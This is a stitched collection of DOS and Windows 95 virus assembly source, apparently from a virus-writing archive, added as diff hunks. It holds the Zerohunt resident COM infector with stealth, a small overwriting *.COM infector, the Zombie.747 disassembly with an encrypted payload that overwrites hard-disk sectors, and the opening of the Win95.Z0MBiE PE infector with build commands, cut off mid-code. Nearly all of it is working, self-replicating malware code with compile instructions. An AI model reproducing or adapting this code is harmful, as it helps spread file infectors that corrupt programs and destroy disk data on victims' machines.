;dw 2500,14,3000,4,4000,24,3500,12,4000,6
;dw 3500,12,4000,4,4500,10,5000,4
;dw 5500,15,3000,8,3500,20,3000,8,3500,50
;dw 2000,8,2500,8,2000,14,2500,14
;dw 2500,14,3000,4,4000,24,3500,12,4000,6
;dw 3500,12,4000,4,4500,10,5000,4
;dw 5500,15,3000,8,3500,20,3000,8,3500,50
;dw 2000,8,2500,8,2000,14,2500,14
;dw 2500,14,3000,4,4000,24,3500,12,4000,6
;dw 3500,12,4000,4,4500,10,5000,4
;dw 5500,15,3000,8,3500,20,3000,8,3500,50
dw 0
data_6 db 9
db 10h, 19h, 45h, 18h, 19h, 1Bh
db 01h,0D5h,0CDh,0CDh,0B8h, 04h
db 0F3h, 09h,0A9h, 04h, 9Dh
db 9
db 0AAh, 04h,0F2h, 01h,0D5h,0CDh
db 0CDh,0B8h, 19h, 1Ch, 18h, 19h
db 12h,0D5h, 1Ah, 0Ah,0CDh,0BEh
db 20h, 09h, 5Ch, 04h,0F6h, 09h
db 2Fh, 20h, 01h,0D4h, 1Ah, 0Ah
db 0CDh,0B8h, 19h, 13h, 18h, 19h
db 03h,0C9h, 1Ah, 0Dh,0CDh,0BEh
db 19h, 03h, 0Fh,0D2h,0B7h, 19h
db 04h,0D6h, 1Ah, 03h,0C4h,0B7h
db 20h,0D2h,0D2h,0C4h,0C4h,0C4h
db 0B7h, 19h, 04h, 01h,0D4h, 1Ah
db 0Eh,0CDh,0BBh, 19h, 03h, 18h
db 19h, 03h,0BAh, 19h, 12h, 07h
db 0BAh,0BAh, 19h, 04h,0BAh, 19h
db 03h,0BDh, 20h,0BAh,0BAh, 19h
db 02h,0D3h,0B7h, 19h, 13h, 01h
db 0BAh, 19h, 03h, 18h, 19h, 03h
db 0BAh, 19h, 07h, 0Bh, 1Ah, 02h
db 04h, 19h, 07h, 08h,0BAh,0B6h
db 19h, 04h,0C7h,0C4h,0B6h, 19h
db 03h,0BAh,0B6h, 19h, 03h,0BAh
db 19h, 07h, 0Bh, 1Ah, 02h, 04h
db 19h, 08h, 01h,0BAh, 19h, 03h
db 18h,0D6h,0C4h,0C4h, 20h,0BAh
db 19h, 12h, 08h,0BAh,0D3h, 19h
db 02h,0B7h, 20h,0BAh, 19h, 03h
db 0B7h, 20h,0BAh,0D3h, 19h, 02h
db 0D6h,0BDh, 19h, 13h, 01h,0BAh
db 20h,0C4h,0C4h,0B7h, 18h,0D3h
db 0C4h,0C4h,0C4h,0BDh, 19h, 12h
db 08h,0D3h, 1Ah, 03h,0C4h,0BDh
db 20h,0D3h, 1Ah, 03h,0C4h,0BDh
db 20h,0D0h, 1Ah, 03h,0C4h,0BDh
db 19h, 14h, 01h,0D3h,0C4h,0C4h
db 0C4h,0BDh, 18h, 04h, 1Ah, 04h
db 3Eh, 19h, 03h, 0Fh,0D6h, 1Ah
db 04h,0C4h,0B7h, 20h,0D6h, 1Ah
db 03h,0C4h,0B7h, 20h,0D2h,0D2h
db 0C4h,0C4h,0C4h,0B7h, 20h,0D2h
db 0D2h,0C4h,0C4h,0C4h,0B7h, 20h
db 0D6h, 1Ah, 03h,0C4h,0B7h, 20h
db 0D2h,0B7h, 19h, 04h,0D2h, 20h
db 20h,0D2h,0D2h,0C4h,0C4h,0C4h
db 0B7h, 19h, 03h, 04h, 1Ah, 04h
db 3Ch, 18h, 01h,0D6h,0C4h,0C4h
db 0C4h,0B7h, 19h, 07h, 07h,0D6h
db 0C4h,0BDh
dd 319BA20h ; Data table (indexed access)
db 0BDh, 20h,0BAh,0BDh, 19h, 02h
db 0BAh, 20h,0BAh,0BDh, 19h, 02h
db 0BAh, 20h,0BAh, 19h, 03h,0BDh
db 20h,0BAh,0BAh, 19h, 04h,0BAh
db 20h, 20h,0BAh,0BAh, 19h, 02h
db 0BAh, 19h, 03h, 01h,0D6h,0C4h
db 0C4h,0C4h,0B7h, 18h,0D3h,0C4h
db 0C4h, 20h,0BAh, 19h, 06h, 08h
db 58h, 19h, 03h,0C7h,0C4h,0B6h
db 19h, 03h,0BAh, 1Ah, 03h,0C4h
db 0BDh, 20h,0BAh, 1Ah, 03h,0C4h
db 0BDh, 20h,0C7h,0C4h,0B6h, 19h
db 03h,0BAh,0B6h, 19h, 04h,0BAh
db 20h, 20h,0BAh,0B6h, 19h, 02h
db 0BAh, 19h, 03h, 01h,0BAh, 20h
db 0C4h,0C4h,0BDh, 18h, 19h, 03h
db 0BAh, 19h, 03h, 08h,0D6h,0C4h
db 0BDh, 19h, 04h,0BAh, 19h, 03h
db 0B7h, 20h,0BAh, 19h, 05h,0BAh
db 19h, 05h,0BAh, 19h, 03h,0B7h
db 20h,0BAh,0D3h, 19h, 02h,0B7h
db 20h,0BAh, 20h, 20h,0BAh,0D3h
db 19h, 02h,0BAh, 19h, 03h, 01h
db 0BAh, 19h, 03h, 18h, 19h, 03h
db 0BAh, 19h, 03h, 08h,0D3h, 1Ah
db 04h,0C4h,0BDh, 20h,0D3h, 1Ah
db 03h,0C4h,0BDh, 20h,0BDh, 19h
db 05h,0BDh, 19h, 05h,0D3h, 1Ah
db 03h,0C4h,0BDh, 20h,0D3h, 1Ah
db 03h,0C4h,0BDh, 20h,0D0h, 20h
db 20h,0D0h, 19h, 03h,0D0h, 19h
db 03h, 01h,0BAh, 19h, 03h, 18h
db 19h, 03h,0C8h, 1Ah, 15h,0CDh
db 0B8h, 19h, 0Ch,0D5h, 1Ah, 16h
db 0CDh,0BCh, 19h, 03h, 18h, 19h
db 1Ah,0D4h,0CDh, 04h, 1Ah, 03h
db 0F7h, 09h, 2Fh, 04h,0EAh, 09h
db 5Ch, 04h, 1Ah, 03h,0F7h, 01h
db 0CDh,0BEh, 19h, 1Bh, 18h
data_1e equ 0A0h
dot_dot db '..',0
heap:
; The following code is the buffer for the write function
code_store: db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?)
oldint24 dd ? ; Storage for old int 24h handler
backslash db ?
origdir db 64 dup (?) ; Current directory buffer
newDTA db 43 dup (?) ; Temporary DTA
numinfec db ? ; Infections this run
buffer db 1ah dup (?) ; read buffer
endheap: ; End of virus
finish label near
end entry_point
; Yeah, the main problem is reproducing the effect in an infected file so
; thta when IT runs, IT too will display... That's the GLITCH...
;
; Also, I had stuck INT 27H in somewhere around the EXIT .EXE...
; I don't remember, but it would go resident and suck up memory, yet
; since it hooked no interuppts, it just sat there...
; Feel free to STUDY this code and distribute it feely for educational
; purposes, because in spite of the kidding...I don't "hAcK"... for lack
; of a better word...--->>pAgE<<---
@@ -0,0 +1,270 @@
CSEG SEGMENT
ASSUME CS:CSEG, ES:CSEG, SS:CSEG
org 100h
; Zerohunt virus
; Disassembly by PRiEST
; 4-15-93
CMC_JMP equ 0e9f5h ;This is the virus's signature
;which is located at the beginning
;of infected files, it consist of
;a CMC and a JMP
Mem_Loc equ 21ch ;offset of virus in memory
Zero_Size equ offset Zero_End-offset Zero_Start ;Size of virus
Zero_File_Size equ offset Zero_File_End-offset Zero_Start ;Size of virus in
;file
IVT_21 equ 21h*4h ;offset of Int 21h in IVT
IVT_24 equ 24h*4h ;offset of Int 24h in IVT
Mem_Size equ 413h ;offset of Memory size in BIOS area
Zerohunt: jmp Zero_Start ;Dummy code
nop
org 21ch ;set new origin
Zero_Start: call $+3 ;Push IP
pop si ;pop IP into SI
mov es,ax ;ES = segemnt zero
mov di,Mem_Loc ;Offset of memory resident code
cmp byte ptr es:[di],0e8h ;This instructions checks to see
;if the virus is already in memory
;by looking for the call at
;Zero_Start in the IVT
je Jump_File ;return control to file if in memory
mov cx,Zero_Size ;size of virus
sub si,3h ;Find offset of Zero_Start
rep movsb ;copy us to IVT
push es
pop ds ;DS = 0
mov bx,IVT_21 ;offset of Interrupt 21 in the IVT
les si,ds:[bx] ;Get seg:off of Int 21h
mov word ptr ds:[bx],offset Zero_21 ;Point Int 21h to us
mov word ptr ds:[bx+2h],ax ;point Int 21h to segment 0
mov word ptr ds:[Old_21+2h],es ;Save Int 21h
mov word ptr ds:[Old_21],si ;Save Int 21h
mov al,40h ;40h k
mov bx,ds:[Mem_Size] ;Get amount of memory in k's
sub bx,ax ;subtract 40h to get segment of mem
mul bx ;find address of free memory
mov word ptr ds:[High_Mem],ax ;Save segment address
xor ax,ax ;Zero out AX
Jump_File: push cs
push cs
pop ds ;Restore DS and ES
pop es
;Self-modifying code that restores the first 4 bytes of an infected .com
;file. The Jump_Data defines where to jump when the virus is done, this
;is because it only infects files that have a JMP (0e9h) as the first
;instruction, any other file gets ignored.
db 0c7h,6,0,1 ;mov word ptr ds:[100h],
File_Data dw 20cdh ;quit to DOS
db 0c7h,6,2,1 ;mov word ptr ds:[102h],
File_Data_2 dw 9090h ;NOPs
db 0e9h ;Jump
;This is where the infected program originally jumped to, right now it's
;set back to the beginning so that it will terminate to DOS.
Jump_Data dw 0-(offset Jump_Data_End-offset Zero_Start)
Jump_Data_End: ;used to find offset of Zero_Start
Random_Read: pushf ;Keep stack in order when IRET
push cs ;return to this segment
call Jump_21 ;Call DOS to read file
pushf
push ax
push es
push bx
push ds ;save registers
mov ah,2fh ;Get address of DTA into ES:BX
int 21h
push es
pop ds ;DTA segment in DS
cmp word ptr ds:[bx],CMC_JMP ;Is this file infected?
jne Skip_Block_Clean
call Stealth ;Hide virus
Skip_Block_Clean:pop ds
pop bx
pop es
pop ax ;Pop registers
jmp Fix_Flags_Ret ;Fix flags and return
Handle_Read: pushf ;Keep stack right
push cs ;return to this segment
call Jump_21
pushf ;Save flags
jb Fix_Flags_Ret
xchg dx,bx ;Address of data read into BX
cmp word ptr ds:[bx],CMC_JMP ;File infected?
jne Fix_Flags_DX
cmp word ptr ds:[bx+2h],ax ;is it valid (? I guess)
jnb Fix_Flags_DX
call Stealth ;Hide virus
Fix_Flags_DX: xchg dx,bx ;restore registers
Fix_Flags_Ret: popf ;POP flags
push bp
push ax ;Save registers
pushf
pop ax ;tranfer flags to ax
mov bp,sp ;get stack frame
mov ss:[bp+8h],ax ;Save flags directly into stack
pop ax
pop bp ;POP registers
iret
Stealth: push si ;Save register
mov si,bx ;Where code was read to
add si,ds:[bx+2h] ;Where virus is in program
push word ptr ds:[si+File_Data-Zero_Start] ;original bytes
pop word ptr ds:[bx] ;restore them
push word ptr ds:[si+File_Data_2-Zero_Start] ;original bytes
pop word ptr ds:[bx+2h] ;restore them too
add si,4h ;fix for jump
push ax
push cx ;save registers
mov cx,Zero_Size ;Size of virus
xor al,al ;Zero out AL
Stealth_Loop: mov byte ptr ds:[si],al ;Remove virus from file
inc si
loop Stealth_Loop
pop cx
pop ax
pop si ;Pop registers
retn
Zero_21: cmp ah,21h ;Random read?
je Random_Read
cmp ah,27h ;Random Block read?
je Random_Read
cmp ah,3fh ;Handle read?
je Handle_Read
cmp ax,4b00h ;Execute program?
je Infect
jmp Jump_21 ;Jump to original Int 21h
Infect: push es ;save registers
push ax
push bx
push dx
push ds
mov ax,3d02h ;open file for writing
int 21h
xchg ax,bx ;handle into BX
mov ah,3fh ;read from file
xor cx,cx ;Zero CX
mov ds,cx ;zero into DS
inc cx ;read one byte
mov dx,offset Buffer ;read to variable "buffer"
mov si,dx ;same into SI
pushf ;Keep stack straight after IRET
push cs ;Push CS for Far return
call Jump_21 ;Call original Interrupt 21
cmp byte ptr ds:[si],0e9h ;Is the first instruction a jump?
je File_Has_Jump
jmp Close_File ;File is not valid, close and quit
File_Has_Jump: mov ax,4200h ;Set position from start of file
dec cx ;CX now equals 0
xor dx,dx ;DX also equals 0
int 21h ;set file position to start of file
pop ds
pop dx ;POP location of file name
push dx
push ds ;PUSH them back
push bx ;Save file handle number
push cs
pop es ;Set ES to our CS
mov bx,offset High_Mem ;offset of variable High_Mem
mov ax,4b03h ;Load file
int 21h
mov ds,es:[bx] ;Get address of High memory
mov cx,Zero_File_Size ;size of virus in File
mov dx,cx ;same into DX
mov bx,ds:[1h] ;Get jump address
mov bp,bx ;I don't recall BP being saved!!!
xor al,al ;zero out AL
Search_Loop: dec bx ;decrement pointer
pop di ;Pop handle
je Close_File_DI
push di ;Save handle again
cmp byte ptr ds:[bx],al ;search for zeros
je Search_Looper
mov cx,dx ;reset counter
Search_Looper: loop Search_Loop ;Scan for size of virus
mov di,bp ;Get jump address of file
sub di,bx ;minus location of zeros
sub di,offset Jump_Data_End-offset Zero_Start ;Make jump
mov word ptr cs:[Jump_Data],di ;Save original jump address
push word ptr ds:[0] ;save original bytes
pop word ptr cs:[File_Data] ;Into our own code
push word ptr ds:[2h] ;again with bytes 3 and 4
pop word ptr cs:[File_Data_2]
mov si,Mem_Loc ;location of virus in memory
mov cx,dx ;Size of virus in file
dec cx ;Size of virus
push ds
pop es ;ES = segment of free memory
push cs
pop ds ;DS = our segment
mov di,bx ;offset of free space in file
rep movsb ;copy virus into file (I gather)
sub bx,4h ;subtract for jump to virus
mov word ptr es:[2h],bx ;Fix jump
mov word ptr es:[0],CMC_JMP ;CMC, then JMP
mov di,0cfcfh
lds si,ds:[IVT_24] ;fetch address of Int 24h
xchg di,ds:[si] ;what the hey!? Computer should
;crash if Int 24h is triggered!
pop bx ;POP handle number
mov ax,5700h ;Get date
int 21h
push cx
push dx ;save original date/time of file
push es
pop ds ;DS = segment of free memory
mov ah,40h
mov cx,bp ;size of virus
xor dx,dx
int 21h ;write to file, I guess the virus
pop dx
pop cx ;POP the date/time
mov ax,5701h ;restore date/time to file
int 21h
xchg di,bx ;dummy exchange if infection ok
Close_File_DI: xchg di,bx ;retore handle from DI for closing
Close_File: mov ah,3eh ;close file
int 21h
lds si,cs:[IVT_24] ;Get Int 24h address from IVT
cmp byte ptr ds:[si],0cfh ;Is it to us?
jne No_24_Restore ;I know, they're Shitty labels
xchg di,ds:[si] ;restore Int 24h
No_24_Restore: pop ds
pop dx
pop bx
pop ax
pop es ;Pop all registers
Jump_21: db 0eah ;jmp seg:off
Old_21 dd ? ;segment offset of Int 21h
Buffer db ?
Zero_End:
High_Mem dw ? ;Segment of availible memory
Zero_File_End:
CSEG ENDS
END Zerohunt
@@ -0,0 +1,85 @@
code segment
assume cs:code, ds:code, es:code, ss:nothing
org 0100h
start: db 8Bh,0DBh
mov ah,4Eh ;find a file
mov cx,0000h ;
mov dx,offset filemask ;load searchmask, .COM
loopy: int 21h
jb effect ;no files, do effect
call infect
jnz exit
mov ah,4Fh ;find next file
jmp short loopy
;keep looping around
exit: mov ax,4C00h
int 21h
effect: mov ax,0040h ;no files to infect
mov es,ax ;slant the text on the screen
mov di,004Ah
mov al,51h
stosb
int 20h ;and exit
infect: mov ax,3D02h ;open host, r/w with handle
mov dx,009Eh
int 21h
xchg ax,bx ;exchange handle to ax
mov ah,3Fh ;read from file
mov cx,0002h ;two bytes
mov dx,offset ID ;put them in ID buffer
int 21h
cmp Word Ptr ds:[016Dh],0DB8Bh
;compare with virus ID
pushf
jz close_file
cwd
mov cx,dx ;
mov ax,4200h ;reset file pointer
;to beginning of file
int 21h
mov al,00h ;
mov ah,57h ;get file date/time
int 21h ;
push cx ;store them
push dx ;
mov ah,40h ;write virus
mov cx,007Fh ;to file
mov dx,0100h ;start at beginning
int 21h ;
mov al,01h ;restore file date/time
pop dx ;from the stack
pop cx ;
mov ah,57h ;
int 21h ;
close_file:
mov ah,3Eh ;close file
int 21h ;
popf ;
ret ;exit
ID: dw 0000h
filemask: db "*.COM" ;searchmask
db 00h
db "*ZZ* v 1.0"
code ends
end start
@@ -0,0 +1,338 @@
Zombie
Disassembly by Darkman/29A
Zombie.747 is a 747 bytes parasitic resident COM virus. Infects files at
load and execute program, except COMMAND.COM, by appending the virus to the
infected COM file.
To compile Zombie.747 with Turbo Assembler v 4.0 type:
TASM /M ZOMBI747.ASM
TLINK /t /x ZOMBI747.OBJ
.model tiny
.code
org 100h ; Origin of Zombie.747
code_begin:
call crypt_virus
nop
nop
nop
nop
nop
virus_begin:
call delta_offset
delta_offset:
pop bp ; Load BP from stack
sub bp,03h ; BP = delta offset
jmp virus_begin_
stack_end:
stack_ db 7ah dup(?) ; Stack
stack_begin:
int21_addr dd ? ; Address of interrupt 21h
virus_seg dw ? ; Segment of virus
stack_seg dw ? ; Stack segment
stack_ptr dw ? ; Stack pointer
infect_off dw offset infect_file-offset virus_begin
infect_mark db 04h dup(?) ; infection mark
infect_count dw ? ; Infection counter
virus_offset equ word ptr $+01h ; Offset of virus
infect_code db 0e9h,?,? ; JMP imm16 (opcode 0e9h)
origin_code db 0cdh,20h,? ; Original code of infected file
code_begin_ dw 100h ; Offset of beginning of code
int21_virus proc near ; Interrupt 21h of Zombie.747
pushf ; Save flags at stack
cmp ax,4b00h ; Load and execute program?
je load_and_exe ; Equal? Jump to load_and_exe
cmp ax,4b69h ; Zombie.747 function?
je virus_functi ; Equal? Jump to virus_functi
popf ; Load flags from stack
jmp dword ptr cs:[offset int21_addr-offset virus_begin]
endp
virus_functi:
mov bx,ax ; Already resident
popf ; Load flags from stack
iret ; Interrupt return!
load_and_exe:
mov cs:[offset infect_off-offset virus_begin],offset infect_file-offset virus_begin
call setup_stack
popf ; Load flags from stack
jmp dword ptr cs:[offset int21_addr-offset virus_begin]
setup_stack proc near ; Setup stack of the virus
mov cs:[offset stack_seg-offset virus_begin],ss
mov cs:[offset stack_ptr-offset virus_begin],sp
mov ss,cs:[offset virus_seg-offset virus_begin]
mov sp,offset stack_begin-offset virus_begin
push ax bx cx dx es ds si di bp
call cs:[offset infect_off-offset virus_begin]
cmp word ptr cs:[offset infect_count-offset virus_begin],10h
jbe load_stack ; Below or equal? Jump to load_stack
call payload
load_stack:
pop bp di si ds es dx cx bx ax
mov ss,cs:[offset stack_seg-offset virus_begin]
mov sp,cs:[offset stack_ptr-offset virus_begin]
ret ; Return!
endp
payload proc near ; Payload of the virus
mov si,offset crypt_begin-offset virus_begin
mov cx,(crypt_end-crypt_begin)
decrypt_loop:
not byte ptr [si] ; Decrypt a byte
inc si ; Increase index register
loop decrypt_loop
crypt_begin:
mov ax,303h ; Write disk sector(s)
db 31h,0dbh ; XOR BX,BX
mov es,bx ; ES:BX = pointer to data buffer
mov cx,02h ; CX = sector- and cylinder number
mov dx,80h ; DX = drive- and head number
int 13h
crypt_end:
mov si,offset crypt_begin-offset virus_begin
mov cx,(crypt_end-crypt_begin)
encrypt_loop:
not byte ptr [si] ; Encrypt a byte
inc si ; Increase index register
loop encrypt_loop
ret ; Return!
endp
examine_file proc near ; Examine file
cld ; Clear direction flag
find_dot:
lodsb ; AL = byte of filename
cmp al,'.' ; Found the dot in the filename
je examine_fil_ ; Equal? Jump to examine_fil_
or al,al ; End of filename?
loopnz find_dot ; Not zero? Jump to find_dot
jz examine_exit ; Zero? Jump to examine_exit
examine_fil_:
mov ax,[si-06h] ; AX = word of filename
or ax,2020h ; Lowcase word of filename
cmp ax,'mm' ; COMMAND.COM?
je examine_exit ; Equal? Jump to examine_exit
lodsw ; AX = word of extension
or ax,2020h ; Lowcase word of extension
cmp ax,'oc' ; Correct extension?
jne examine_exit ; Not equal? Jump to examine_exit
lodsb ; AL = byte of extension
or al,20h ; Lowcase byte of extension
cmp al,'m' ; Correct extension?
jne examine_exit ; Not equal? Jump to examine_exit
clc ; Clear carry flag
ret ; Return!
examine_exit:
stc ; Set carry flag
ret ; Return!
endp
set_file_pos proc near ; Set current file position
xor cx,cx ; Zero CX
or dx,dx ; Zero DX?
jns set_file_po_ ; Positive? Jump to set_file_po_
not cx ; Invert each bit of low-order wor...
set_file_po_:
mov ah,42h ; Set current file position
int 21h
ret ; Return!
endp
infect_file proc near ; Infect COM file
mov si,dx ; SI = offset of filename
call examine_file
jnc open_file ; No error? Jump to open_file
jmp infect_exit_
open_file:
mov ax,3d02h ; Open file (read/write)
int 21h
jnc read_file ; No error? Jump to read_file
jmp infect_exit_
read_file:
mov bx,ax ; BX = file handle
mov dx,cs ; DX = code segment
mov ds,dx ; DS " " "
mov ah,3fh ; Read from file
mov cx,03h ; Read three bytes
mov dx,offset origin_code-offset virus_begin
int 21h
jnc examine_mark ; No error? Jump to examine_mark
jmp close_file
examine_mark:
mov dx,-28h ; DX = low-order word of offset fr...
mov al,02h ; Set current file position (EOF)
call set_file_pos
jc close_file ; Error? Jump to close_file
nop
nop
nop
mov ah,3fh ; Read from file
mov cx,04h ; Read four bytes
mov dx,offset infect_mark-offset virus_begin
int 21h
jc close_file ; Error? Jump to close_file
nop
nop
nop
cmp word ptr ds:[offset infect_mark-offset virus_begin],'oZ'
jne calc_offset ; Not equal? Jump to calc_offset
nop
nop
nop
cmp word ptr ds:[offset infect_mark+02h-offset virus_begin],'bm'
je close_file ; Previosly infected? Jump to clos...
nop
nop
nop
calc_offset:
xor dx,dx ; Zero DX
mov al,02h ; Set current file position (EOF)
call set_file_pos
jc close_file ; Error? Jump to close_file
nop
nop
nop
sub ax,03h ; AX = offset of virus
mov ds:[offset virus_offset-offset virus_begin],ax
mov ax,5700h ; Get file's date and time
int 21h
push cx dx ; Save registers at stack
mov ah,40h ; Write to file
mov cx,(code_end-virus_begin)
xor dx,dx ; Zero DX
int 21h
jc infect_exit ; Error? Jump to infect_exit
nop
nop
nop
cmp cx,ax ; Written all of the virus?
jne infect_exit ; Not equal? Jump to infect_exit
nop
nop
nop
mov al,00h ; Set current file position (SOF)
xor dx,dx ; Zero DX
call set_file_pos
jc infect_exit ; Error? Jump to infect_exit
nop
nop
nop
mov ah,40h ; Write to file
mov cx,03h ; Write three bytes
mov dx,offset infect_code-offset virus_begin
int 21h
jc infect_exit ; Error? Jump to infect_exit
nop
nop
nop
infect_exit:
inc word ptr cs:[offset infect_count-offset virus_begin]
mov ax,5701h ; Set file's date and time
pop dx cx ; Load registers from stack
int 21h
close_file:
mov ah,3eh ; Close file
int 21h
infect_exit_:
ret ; Return!
endp
get_psp_own proc near ; Get PSP segment of owner or spec...
mov ah,52h ; Get list of lists
int 21h
mov bx,es:[bx-02h] ; BX = segment of first memory con...
mov es,bx ; ES = " " " " "
mov bx,es:[01h] ; BX = PSP segment of owner or spe...
ret ; Return!
endp
allocate_mem proc near ; Allocate memory
push es ; Save ES at stack
mov ax,cs ; AX = segment of PSP for current ...
dec ax ; AX = segment of Memory Control B...
mov es, ax ; ES = " " " " "
mov bx,es:[03h] ; BX = size of memory block in par...
pop es ; Load ES from stack
sub bx,cx ; Subtract number of paragraphs to...
dec bx ; BX = new size in paragraphs
mov ah,4ah ; Resize memory block
int 21h
jc allocat_exit ; Error? Jump to allocat_exit
nop
nop
nop
mov ah,48h ; Allocate memory
mov bx,cx ; BX = number of paragraphs to all...
int 21h
jc allocat_exit ; Error? Jump to allocat_exit
nop
nop
nop
push ax ; Save AX at stack
dec ax ; AX = segment of Memory Control B...
mov es,ax ; ES = " " " " "
push es ; Save ES at stack
call get_psp_own
pop es ; Load ES from stack
mov es:[01h],bx ; Store PSP segment of owner or sp...
pop es ; Load ES from stack
clc ; Clear carry flag
allocat_exit:
ret ; Return!
endp
virus_begin_:
mov ax,4b69h ; Zombie.747 function
xor bx,bx ; Zero BX
int 21h
cmp bx,4b69h ; Already resident?
je virus_exit ; Equal? Jump to virus_exit
nop
nop
nop
mov cx,(data_end-virus_begin+0fh)/10h
call allocate_mem
jc virus_exit ; Error? Jump to virus_exit
nop
nop
nop
mov si,bp ; SI = delta offset
xor di,di ; Zero DI
mov cx,(code_end-virus_begin)
cld ; Clear direction flag
rep movsb ; Move virus to top of memory
mov es:[offset virus_seg-offset virus_begin],es
push es ; Save ES at stack
mov ax,3521h ; Get interrupt vector 21h
int 21h
mov dx,es ; DX = segment of interrupt 21h
pop es ; Load ES from stack
mov word ptr es:[offset int21_addr-offset virus_begin],bx
mov word ptr es:[offset int21_addr+02h-offset virus_begin],dx
mov ax,2521h ; Set interrupt vector 21h
push es ; Save ES at stack
pop ds ; Load DS from stack (ES)
mov dx,offset int21_virus-offset virus_begin
int 21h
virus_exit:
mov ax,cs ; AX = segment of PSP for current ...
mov ds,ax ; DS = " " " " " "
mov es,ax ; ES = " " " " " "
lea si,origin_code ; SI = offset of origin_code
sub si,offset virus_begin
add si,bp ; Add delta offset to offset of co...
mov di,100h ; DI = offset of beginning of code
mov cx,03h ; Move three bytes
cld ; Clear direction flag
rep movsb ; Move the original code to beginning
lea bx,code_begin_ ; BX = offset of code_begin_
sub bx,offset virus_begin
add bx,bp ; Add delta offset to offset of co...
jmp [bx]
db 'Zombie - Danish woodoo hackers (14AUG91)'
code_end:
data_end:
crypt_virus proc ; Encrypt payload of the virus
lea si,crypt_begin ; SI = offset of crypt_begin
mov cx,(crypt_end-crypt_begin)
crypt_loop:
not byte ptr [si] ; Encrypt a byte
inc si ; Increase index register
loop crypt_loop
ret ; Return!
endp
end code_begin
@@ -0,0 +1,974 @@
;
; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
; ³ Win95.Z0MBiE ³
; ³ v1.01, by Z0MBiE ³
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
;
; This is the first collaboration of the russian virus writer Z0MBiE to 29A,
; and also his first Win95 PE infector. It is an encrypted runtime PE infec-
; tor which, after having decrypted its body, locates KERNEL32.DLL and then
; looks in its export table for the address of the API functions used it the
; viral code. This virus has also the feature which consists on looking for
; files to infect in the Windows directory as well as in other units. PE in-
; fection consists on adding a new section (called .Z0MBiE) to infected exe-
; cutables and creating an entry point in it for the virus code. Last but
; not least, Win95.Z0MBiE, after having infected files in a given drive, in-
; serts a dropper called ZSetUp.EXE in the root directory. This file is ac-
; tually a dropper of the Z0MBiE.1922 virus, also included in this issue of
; 29A, in the "Viruses" section of the magazine. Its peculiarities are des-
; cribed there, together with the analysis of Igor Daniloff, same as the one
; which follows, describing the behavior of Win95.ZOMBiE.
;
;
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
; Win95.Zombie
;
; Igor Daniloff
; DialogueScience
;
; Win95.Zombie is a nondestructive nonresident encrypted virus which
; infects PortableExecutable EXE files. On starting an infected file,
; the virus decryptor explodes the main virus body and passes control
; to it. The main virus body determines the location of KERNEL32 Export
; Table in memory and saves in its code the address of WIN32 KERNEL API
; functions that are essential for infecting files.
;
; Then the virus determines the command line of the currently-loaded
; infected program and loads it once again through the WinExec function.
; The second virus copy then infects the system. The first virus copy
; (that started a second copy the infected program), after completing
; the WinExec procedure, returns control to the host program.
;
; To infect PE EXE files, the virus scans the Windows system folder and
; also takes peeps into all other folders in drives C:, D:, E:, and F:.
; On detecting a PE EXE file, the virus analyzes the file. If all is well,
; the file is infected. Win95.Zombie creates a new segment section .Z0MBiE
; in the PE header, sets an entry point to it, and appends a copy of the
; encrypted code at the file end which is within the limits of the region
; of this segment section. After infecting the logical drive, the virus
; creates a dropper file ZSetUp.EXE in the root directory and assigns it
; ARCHIVE and SYSTEM attributes. In this file, Win95.Zombie plants a
; Zombie.1922 virus code. The virus contains a few text strings:
;
; Z0MBiE 1.01 (c) 1997
; My 2nd virii for mustdie
; Tnx to S.S.R.
;
; Z0MBiE`1668 v1.00 (c) 1997 Z0MBiE
; Tnx to S.S.R.
; ShadowRAM/Virtual Process Infector
; ShadowRAM Technology (c) 1996,97 Z0MBiE
;
; code................1398
; viriisize...........4584
; virtsize............8936
;
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
;
;
; Compiling it
; ÄÄÄÄÄÄÄÄÄÄÄÄ
; tasm32 -ml -m5 -q -zn zombie.asm
; tlink32 -Tpe -c -x -aa zombie.obj,,, import32.lib
; pewrsec zombie.exe
;
; - -[ZOMBIE.ASM] - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
.386
locals
jumps
.model flat
extrn ExitProcess:PROC
extrn MessageBoxA:PROC
kernel equ 0BFF70000H
FILE_ID equ 'Z0'
PORT_ID equ 'Z'
.data
sux db 'mustdie'
.code
start:
call codestart
lea ebp, [eax - 401000H]
lea edx, codestart[ebp]
cryptn equ (viriisize-decrsize+3) / 4
mov ecx, cryptn
@@1: neg dword ptr [edx]
xor dword ptr [edx], 12345678h
xorword equ dword ptr $-4
sub edx, -4
loop @@1
jmp codestart
align 4
decrsize equ $-start
codestart: lea ebp, [eax - 401000H]
sub eax, 12345678h
subme equ dword ptr $-4
push eax
call analizekernel
call first
in al, 81h
cmp al, PORT_ID
je exit_to_program
in al, 80h
cmp al, PORT_ID
je infect
mov al, PORT_ID
out 80h, al
call ExecExe
exit_to_program: ret
infect: mov al, -1
out 80h, al
; call _GetModuleHandleA
; push 9
; push eax
; call _SetPriorityClass
; infect windows directory
lea edx, infdir[ebp]
call getwindir
lea edx, infdir[ebp]
call setdir
call infectdir
; recursive infect
lea edx, drive_c[ebp]
call recinfect1st
call createsetup
lea edx, drive_d[ebp]
call recinfect1st
call createsetup
lea edx, drive_e[ebp]
call recinfect1st
call createsetup
lea edx, drive_f[ebp]
call recinfect1st
call createsetup
mov al, PORT_ID
out 81h, al
exit_to_mustdie: push -1
call _ExitProcess
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ subprograms ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
createsetup: lea edx, zsetup[ebp]
call createfile
lea edx, z[ebp]
mov ecx, z_size
call writefile
call closefile
ret
first: pop edi
mov byte ptr [edi-5], 0b9h ; mov ecx, xxxxxxxx
mov byte ptr start[ebp], 0b9h
call infectfile
jmp exit_to_mustdie
ExecExe: call _GetCommandLineA
SW_NORMAL equ 1
push SW_NORMAL
push eax
call _WinExec
ret
recinfect1st: call setdir
recinfect: call infectdir
lea eax, win32_data_thang[ebp]
push eax
lea eax, dirfiles[ebp]
push eax
